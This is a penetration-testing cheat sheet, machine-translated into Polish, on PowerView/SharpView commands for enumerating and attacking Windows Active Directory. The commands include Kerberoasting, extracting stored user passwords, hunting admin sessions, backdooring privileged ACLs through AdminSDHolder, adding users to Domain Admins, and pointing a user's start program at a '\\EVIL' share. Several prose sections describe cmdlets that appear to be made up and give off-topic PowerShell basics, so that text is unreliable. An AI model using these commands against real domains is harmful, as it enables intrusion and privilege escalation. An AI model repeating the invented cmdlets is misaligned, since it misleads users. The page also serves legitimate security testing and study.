# PowerView/SharpView
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Najbardziej aktualna wersja PowerView zawsze będzie znajdować się w gałęzi dev PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) [**SharpView**](https://github.com/tevora-threat/SharpView) to port .NET [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) ### Szybka enumeracja ```powershell Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set Get-NetUser -PreauthNotRequired #ASREPRoastable users Get-NetUser -SPN #Kerberoastable users #Groups info Get-NetGroup | select samaccountname, admincount, description Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders #Computers Get-NetComputer | select samaccountname, operatingsystem Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups #Shares Find-DomainShare -CheckShareAccess #Search readable shares #Domain trusts Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found #LHF #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened. Find-LocalAdminAccess #Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts. Invoke-UserHunter -CheckAccess #Find interesting ACLs Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` ### Informacje o domenie #### Get-Domain ```powershell Get-Domain ``` Polecenie `Get-Domain` zwraca informacje o bieżącej domenie, takie jak nazwa domeny, SID (Security Identifier), GUID (Globally Unique Identifier) i inne szczegóły. #### Get-DomainController ```powershell Get-DomainController ``` Polecenie `Get-DomainController` zwraca informacje o kontrolerach domeny, takie jak nazwa, adres IP, nazwa domeny i inne szczegóły. #### Get-DomainPolicy ```powershell Get-DomainPolicy ``` Polecenie `Get-DomainPolicy` zwraca informacje o politykach domeny, takie jak nazwa, opis, ustawienia i inne szczegóły. #### Get-DomainTrust ```powershell Get-DomainTrust ``` Polecenie `Get-DomainTrust` zwraca informacje o zaufaniu między domenami, takie jak nazwa domeny, typ zaufania, kierunek i inne szczegóły. #### Get-DomainUser ```powershell Get-DomainUser ``` Polecenie `Get-DomainUser` zwraca informacje o użytkownikach domeny, takie jak nazwa, SID, GUID, grupy, właściwości konta i inne szczegóły. ```powershell # Domain Info Get-Domain #Get info about the current domain Get-NetDomain #Get info about the current domain Get-NetDomain -Domain mydomain.local Get-DomainSID #Get domain SID # Policy Get-DomainPolicy #Get info about the policy (Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge) (Get-DomainPolicy)."SystemAccess" #Password policy Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous (Get-DomainPolicy).PrivilegeRights #Check your privileges Get-DomainPolicyData # Same as Get-DomainPolicy # Domain Controller Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller # Get Forest info Get-ForestDomain ``` ### Użytkownicy, Grupy, Komputery i OU PowerView dostarcza wiele przydatnych funkcji do zarządzania użytkownikami, grupami, komputerami i jednostkami organizacyjnymi (OU) w środowisku Windows. Poniżej przedstawiam kilka przykładów użycia tych funkcji: #### Użytkownicy - `Get-NetUser`: Pobiera informacje o użytkownikach w domenie. - `Get-NetUser -Username `: Pobiera informacje o konkretnym użytkowniku. - `Get-NetUser -Filter `: Pobiera użytkowników spełniających określone kryteria. - `Get-NetUser -Domain `: Pobiera użytkowników z określonej domeny. #### Grupy - `Get-NetGroup`: Pobiera informacje o grupach w domenie. - `Get-NetGroup -GroupName `: Pobiera informacje o konkretnej grupie. - `Get-NetGroup -Filter `: Pobiera grupy spełniające określone kryteria. - `Get-NetGroup -Domain `: Pobiera grupy z określonej domeny. #### Komputery - `Get-NetComputer`: Pobiera informacje o komputerach w domenie. - `Get-NetComputer -ComputerName `: Pobiera informacje o konkretnym komputerze. - `Get-NetComputer -Filter `: Pobiera komputery spełniające określone kryteria. - `Get-NetComputer -Domain `: Pobiera komputery z określonej domeny. #### Jednostki organizacyjne (OU) - `Get-NetOU`: Pobiera informacje o jednostkach organizacyjnych w domenie. - `Get-NetOU -OUName `: Pobiera informacje o konkretnej jednostce organizacyjnej. - `Get-NetOU -Filter `: Pobiera jednostki organizacyjne spełniające określone kryteria. - `Get-NetOU -Domain `: Pobiera jednostki organizacyjne z określonej domeny. Te funkcje mogą być przydatne podczas przeprowadzania testów penetracyjnych, aby uzyskać informacje o użytkownikach, grupach, komputerach i jednostkach organizacyjnych w celu identyfikacji potencjalnych słabości i ataków. ```powershell # Users ## Get usernames and their groups Get-DomainUser -Properties name, MemberOf | fl ## Get-DomainUser and Get-NetUser are kind of the same Get-NetUser #Get users with several (not all) properties Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames Get-NetUser -UserName student107 #Get info about a user Get-NetUser -properties name, description #Get all descriptions Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter # Get users with reversible encryption (PWD in clear text with dcsync) Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol # Users Filters Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set Get-NetUser -PreauthNotRequired #ASREPRoastable users Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') } # Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy ## Users with this flag might have empty passwords (if allowed) or shorter passwords Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol #Groups Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName ## Get-DomainGroup is similar to Get-NetGroup Get-NetGroup #Get groups Get-NetGroup -Domain mydomain.local #Get groups of an specific domain Get-NetGroup 'Domain Admins' #Get all data of a group Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups Get-NetGroup -UserName "myusername" #Get groups of a user Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts) Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid Get-NetGPOGroup #Get restricted groups # Computers Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers ## Get-DomainComputer is kind of the same as Get-NetComputer Get-NetComputer #Get all computer objects Get-NetComputer -Ping #Send a ping to check if the computers are working Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups #OU Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case) ## Get-DomainOU is kind of the same as Get-NetOU Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` ### Logowanie i sesje PowerView dostarcza kilka przydatnych funkcji do zarządzania logowaniem i sesjami w systemie Windows. #### Pobieranie informacji o logowaniu Aby uzyskać informacje o logowaniu użytkowników w danym systemie, możemy użyć funkcji `Get-NetLoggedon`. Ta funkcja zwraca listę użytkowników, którzy są obecnie zalogowani na danym komputerze. ```powershell Get-NetLoggedon ``` #### Pobieranie informacji o sesjach Aby uzyskać informacje o aktywnych sesjach w systemie, możemy użyć funkcji `Get-NetSession`. Ta funkcja zwraca listę aktywnych sesji wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetSession ``` #### Pobieranie informacji o sesjach SMB Aby uzyskać informacje o aktywnych sesjach SMB w systemie, możemy użyć funkcji `Get-NetSMBSession`. Ta funkcja zwraca listę aktywnych sesji SMB wraz z informacjami o użytkownikach, komputerach, nazwach udziałów i czasie rozpoczęcia sesji. ```powershell Get-NetSMBSession ``` #### Pobieranie informacji o sesjach RDP Aby uzyskać informacje o aktywnych sesjach RDP w systemie, możemy użyć funkcji `Get-NetRDPSession`. Ta funkcja zwraca listę aktywnych sesji RDP wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetRDPSession ``` #### Pobieranie informacji o sesjach WinRM Aby uzyskać informacje o aktywnych sesjach WinRM w systemie, możemy użyć funkcji `Get-NetWinRMSession`. Ta funkcja zwraca listę aktywnych sesji WinRM wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetWinRMSession ``` #### Pobieranie informacji o sesjach PowerShell Aby uzyskać informacje o aktywnych sesjach PowerShell w systemie, możemy użyć funkcji `Get-NetPowerShellSession`. Ta funkcja zwraca listę aktywnych sesji PowerShell wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetPowerShellSession ``` #### Pobieranie informacji o sesjach DCOM Aby uzyskać informacje o aktywnych sesjach DCOM w systemie, możemy użyć funkcji `Get-NetDCOMSession`. Ta funkcja zwraca listę aktywnych sesji DCOM wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetDCOMSession ``` #### Pobieranie informacji o sesjach WMI Aby uzyskać informacje o aktywnych sesjach WMI w systemie, możemy użyć funkcji `Get-NetWmiSession`. Ta funkcja zwraca listę aktywnych sesji WMI wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetWmiSession ``` #### Pobieranie informacji o sesjach WSMan Aby uzyskać informacje o aktywnych sesjach WSMan w systemie, możemy użyć funkcji `Get-NetWSManSession`. Ta funkcja zwraca listę aktywnych sesji WSMan wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetWSManSession ``` #### Pobieranie informacji o sesjach SSH Aby uzyskać informacje o aktywnych sesjach SSH w systemie, możemy użyć funkcji `Get-NetSSHSession`. Ta funkcja zwraca listę aktywnych sesji SSH wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji. ```powershell Get-NetSSHSession ``` ```powershell Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host) Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host) ``` ### Obiekt zasad grupy - GPO Jeśli atakujący ma **wysokie uprawnienia w GPO**, może wykorzystać je do **przywilejów podwyższonych** poprzez **dodanie uprawnień dla użytkownika**, **dodanie lokalnego administratora** do hosta lub **utworzenie zaplanowanego zadania** (natychmiastowego) w celu wykonania określonej czynności.\ Aby uzyskać [**więcej informacji na ten temat i jak go wykorzystać, kliknij tutaj**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation). ```powershell #GPO Get-DomainGPO | select displayName #Check the names for info Get-NetGPO #Get all policies with details Get-NetGPO | select displayname #Get the names of the policies Get-NetGPO -ComputerName #Get the policy applied in a computer gpresult /V #Get current policy # Get who can create new GPOs Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl # Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl # Get permissions a user/group has over any GPO $sid=Convert-NameToSid "Domain Users" Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid} # COnvert GPO GUID to name Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532 # Transform SID to name ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126 # Get GPO of an OU Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' # Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences. Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType # Enumerates the machines where a specific domain user/group is a member of a specific local group. Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName ``` Naucz się, jak **wykorzystać uprawnienia w GPO i ACL** w: {% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %} [acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/) {% endcontent-ref %} ### ACL ```powershell #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs #Other way to get ACLs of an object $sid = Convert-NameToSid Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get permissions of a file Get-PathAcl -Path "\\dc.mydomain.local\sysvol" #Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects Find-InterestingDomainAcl -ResolveGUIDs #Check if any of the interesting permissions founds is realated to a username/group Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Get special rights over All administrators in domain Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights ``` ### Udostępnione pliki i foldery PowerView provides several functions to enumerate shared files and folders on a target system. These functions can be useful for gathering information during a penetration test or security assessment. #### Get-NetShare The `Get-NetShare` function retrieves information about shared folders on a target system. It returns the share name, local path, and description for each shared folder. ```powershell Get-NetShare ``` #### Get-NetLoggedon The `Get-NetLoggedon` function enumerates users who are currently logged on to a target system. It can be used to identify users who have accessed shared files or folders. ```powershell Get-NetLoggedon ``` #### Get-NetSession The `Get-NetSession` function retrieves information about active sessions on a target system. It can be used to identify users who are currently connected to shared files or folders. ```powershell Get-NetSession ``` #### Get-NetFile The `Get-NetFile` function enumerates open files on a target system. It can be used to identify files that are currently being accessed by users. ```powershell Get-NetFile ``` #### Get-NetFileServer The `Get-NetFileServer` function retrieves information about file servers on a target system. It returns the server name, share name, and number of open files for each file server. ```powershell Get-NetFileServer ``` #### Get-NetFileShare The `Get-NetFileShare` function retrieves information about file shares on a target system. It returns the share name, local path, and number of open files for each file share. ```powershell Get-NetFileShare ``` By using these functions, you can gather valuable information about shared files and folders on a target system, which can help in identifying potential security vulnerabilities or misconfigurations. ```powershell Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` ### Zaufanie domeny Domain Trust (zaufanie domeny) to mechanizm w systemie Windows, który umożliwia jednej domenie zaufanie drugiej domenie. Za pomocą zaufania domenowego można udostępnić zasoby i usługi między różnymi domenami w sieci. Zaufanie domeny może być jednostronne lub dwustronne, co oznacza, że jedna domena może zaufać drugiej, ale druga domena nie musi zaufać pierwszej. Zaufanie domeny może być przydatne w celu umożliwienia użytkownikom z jednej domeny dostępu do zasobów w innej domenie, takich jak pliki, drukarki, usługi sieciowe itp. Może również ułatwić zarządzanie kontami użytkowników i uprawnieniami w różnych domenach. W celu ustanowienia zaufania domenowego, administrator musi skonfigurować odpowiednie ustawienia w systemie Windows. Istnieje kilka typów zaufania domenowego, takich jak zaufanie jednokierunkowe, zaufanie dwukierunkowe, zaufanie leśne itp. Każdy typ ma swoje własne zastosowanie i wymagania konfiguracyjne. Podsumowując, zaufanie domeny jest mechanizmem, który umożliwia komunikację i udostępnianie zasobów między różnymi domenami w sieci Windows. Jest to przydatne narzędzie zarządzania i umożliwiania dostępu do zasobów w środowiskach wielodomenowych. ```powershell Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found Get-DomainTrustMapping #Enumerate also all the trusts Get-ForestDomain # Get basic forest info Get-ForestGlobalCatalog #Get info of current forest (no external) Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible) Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust) Get-DomainForeingUser #Get users with privileges in other domains inside the forest Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` ### Niskowiszące owoce Niskowiszące owoce to proste i łatwe do wykorzystania podatności, które są często ignorowane lub niedoceniane przez administratorów systemów. Wykorzystanie tych podatności może umożliwić atakującemu zdobycie dostępu do systemu lub uzyskanie wrażliwych informacji. Poniżej przedstawiam kilka przykładów niskowiszących owoców, które można wykorzystać w celach pentestowych: #### Słabe hasła użytkowników Wielu użytkowników nadal używa słabych haseł, takich jak "password" lub "123456". Atakujący może wykorzystać te słabe hasła, aby uzyskać dostęp do kont użytkowników. #### Nieaktualne oprogramowanie Nieaktualne oprogramowanie często zawiera znane podatności, które mogą być wykorzystane przez atakujących. Administratorzy powinni regularnie aktualizować oprogramowanie, aby zapobiec wykorzystaniu tych podatności. #### Brak zabezpieczeń Wiele systemów nie ma odpowiednich zabezpieczeń, takich jak silne hasła, ograniczenia dostępu czy monitorowanie logów. Atakujący może wykorzystać te braki w zabezpieczeniach, aby uzyskać nieautoryzowany dostęp. #### Nieprawidłowe konfiguracje Nieprawidłowe konfiguracje systemów mogą prowadzić do wystąpienia podatności. Przykładowo, niewłaściwie skonfigurowane uprawnienia plików lub błędne ustawienia serwera mogą umożliwić atakującemu uzyskanie dostępu do systemu. #### Słabe zarządzanie użytkownikami Niewłaściwe zarządzanie użytkownikami, takie jak nadawanie zbyt dużych uprawnień lub brak regularnego usuwania nieaktywnych kont, może prowadzić do podatności. Atakujący może wykorzystać te słabe zarządzanie, aby uzyskać dostęp do kont użytkowników. Wykorzystanie niskowiszących owoców jest często pierwszym krokiem w procesie penetrowania systemu. Atakujący powinien zawsze rozważyć wykorzystanie tych podatności, ponieważ mogą one być łatwe do wykorzystania i mogą prowadzić do dalszych ataków. ```powershell #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened. Find-LocalAdminAccess #(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed. .\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt #Enumerate machines where a particular user/group identity has local admin rights Get-DomainGPOUserLocalGroupMapping -Identity # Enumerates the members of specified local group (default administrators) # for all the targeted machines on the current (or specified) domain. Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember #Search unconstrained delegation computers and show users Find-DomainUserLocation -ComputerUnconstrained -ShowAll #Admin users that allow delegation, logged into servers that allow unconstrained delegation Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation #Get members from Domain Admins (default) and a list of computers # and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. # If -Checkaccess, then it also check for LocalAdmin access in the hosts. ## By default users inside Domain Admins are searched Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName Invoke-UserHunter [-CheckAccess] #Search "RDPUsers" users Invoke-UserHunter -GroupName "RDPUsers" #It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers) Invoke-UserHunter -Stealth ``` ### Usunięte obiekty W systemie Active Directory istnieje możliwość przywracania usuniętych obiektów, które zostały przypadkowo lub celowo usunięte. Powerview dostarcza kilka przydatnych funkcji do odzyskiwania takich obiektów. #### Get-DomainObject Polecenie `Get-DomainObject` pozwala na wyszukiwanie usuniętych obiektów w domenie. Można je filtrować na podstawie różnych atrybutów, takich jak nazwa, SID, GUID, typ obiektu itp. ```powershell Get-DomainObject -Deleted ``` #### Restore-DomainObject Polecenie `Restore-DomainObject` służy do przywracania usuniętych obiektów. Wymaga podania identyfikatora obiektu, który można uzyskać za pomocą polecenia `Get-DomainObject`. ```powershell Restore-DomainObject -Identity ``` #### Remove-DomainObject Polecenie `Remove-DomainObject` służy do trwałego usunięcia obiektów z systemu Active Directory. Może być używane do usunięcia obiektów, które zostały przywrócone za pomocą polecenia `Restore-DomainObject`. ```powershell Remove-DomainObject -Identity ``` #### Przykład użycia Poniżej przedstawiony jest przykład użycia powyższych poleceń w celu odzyskania i usunięcia obiektu użytkownika o nazwie "JohnDoe". ```powershell $deletedUser = Get-DomainObject -Deleted | Where-Object {$_.SamAccountName -eq "JohnDoe"} Restore-DomainObject -Identity $deletedUser.DistinguishedName Remove-DomainObject -Identity $deletedUser.DistinguishedName ``` W powyższym przykładzie najpierw wyszukujemy usuniętego użytkownika o nazwie "JohnDoe" za pomocą polecenia `Get-DomainObject`. Następnie przywracamy ten obiekt za pomocą polecenia `Restore-DomainObject`. Na koniec usuwamy go trwale za pomocą polecenia `Remove-DomainObject`. ```powershell #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` ### MISC #### SID na Nazwę ```powershell ConvertFrom-SID -SID ``` Konwertuje identyfikator zabezpieczeń (SID) na nazwę konta w systemie Windows. #### Name to SID ```powershell ConvertTo-SID -Name ``` Konwertuje nazwę konta na identyfikator zabezpieczeń (SID) w systemie Windows. #### Get Current User SID ```powershell (Get-ADUser -Identity $env:USERNAME).SID.Value ``` Pobiera identyfikator zabezpieczeń (SID) bieżącego użytkownika w systemie Windows. ```powershell "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast Kerberoast to technika ataku, która polega na wykorzystaniu słabych haseł użytkowników w celu uzyskania ich skróconych haseł Kerberos. Skrócone hasła Kerberos są przechowywane w formie skróconych haseł usługowych (Service Principal Names - SPN) w Active Directory. Atakujący może wykorzystać narzędzie PowerView, aby zidentyfikować konta użytkowników, które mają skrócone hasła Kerberos, a następnie użyć narzędzia Rubeus do ich złamania. Po złamaniu skróconego hasła Kerberos, atakujący może uzyskać dostęp do konta użytkownika i wykonać dalsze działania. ```powershell Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` #### Użyj innych poświadczeń (argument) To use different credentials when running PowerShell commands, you can use the `-Credential` parameter. This allows you to specify a different set of credentials to be used for the command execution. For example, if you want to run a command as a different user, you can use the following syntax: ```powershell Get-Process -Credential (Get-Credential) ``` This will prompt you to enter the username and password for the desired user. Once entered, the command will be executed using the provided credentials. Keep in mind that you need appropriate permissions to use different credentials. Additionally, be cautious when using this feature, as it can potentially expose sensitive information if not used properly. ```powershell # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` #### Udawanie użytkownika To udawanie użytkownika w PowerShellu można osiągnąć za pomocą polecenia `Invoke-UserImpersonation`. Polecenie to wymaga uprawnień administratora i pozwala na zmianę kontekstu użytkownika na dowolne konto w domenie. Oto składnia polecenia: ```powershell Invoke-UserImpersonation -Username -Domain -Password ``` Gdzie: - `` to nazwa użytkownika, którego chcemy udawać, - `` to nazwa domeny, w której znajduje się konto użytkownika, - `` to hasło użytkownika. Po wykonaniu polecenia, bieżący kontekst użytkownika zostanie zmieniony na konto, które chcemy udawać. ```powershell # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred # ... action Invoke-RevertToSelf ``` #### Ustawianie wartości To ustawienie wartości w PowerShell można wykonać za pomocą operatora przypisania (=). Na przykład, aby przypisać wartość 5 do zmiennej $x, użyjemy poniższego polecenia: ```powershell $x = 5 ``` Możemy również przypisać wartość do zmiennej na podstawie wyniku innego polecenia. Na przykład, jeśli chcemy przypisać wartość 10 do zmiennej $y na podstawie wyniku polecenia Get-Process, możemy użyć poniższego polecenia: ```powershell $y = (Get-Process).Count ``` Wartości można również przypisać do właściwości obiektów. Na przykład, jeśli chcemy przypisać wartość "admin" do właściwości "Username" obiektu $user, możemy użyć poniższego polecenia: ```powershell $user.Username = "admin" ``` Ustawienie wartości w PowerShell jest podstawowym narzędziem, które pozwala nam manipulować danymi i wykonywać różne operacje. ```powershell # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y # Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All # Add user to 'Domain Admins' Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local ```
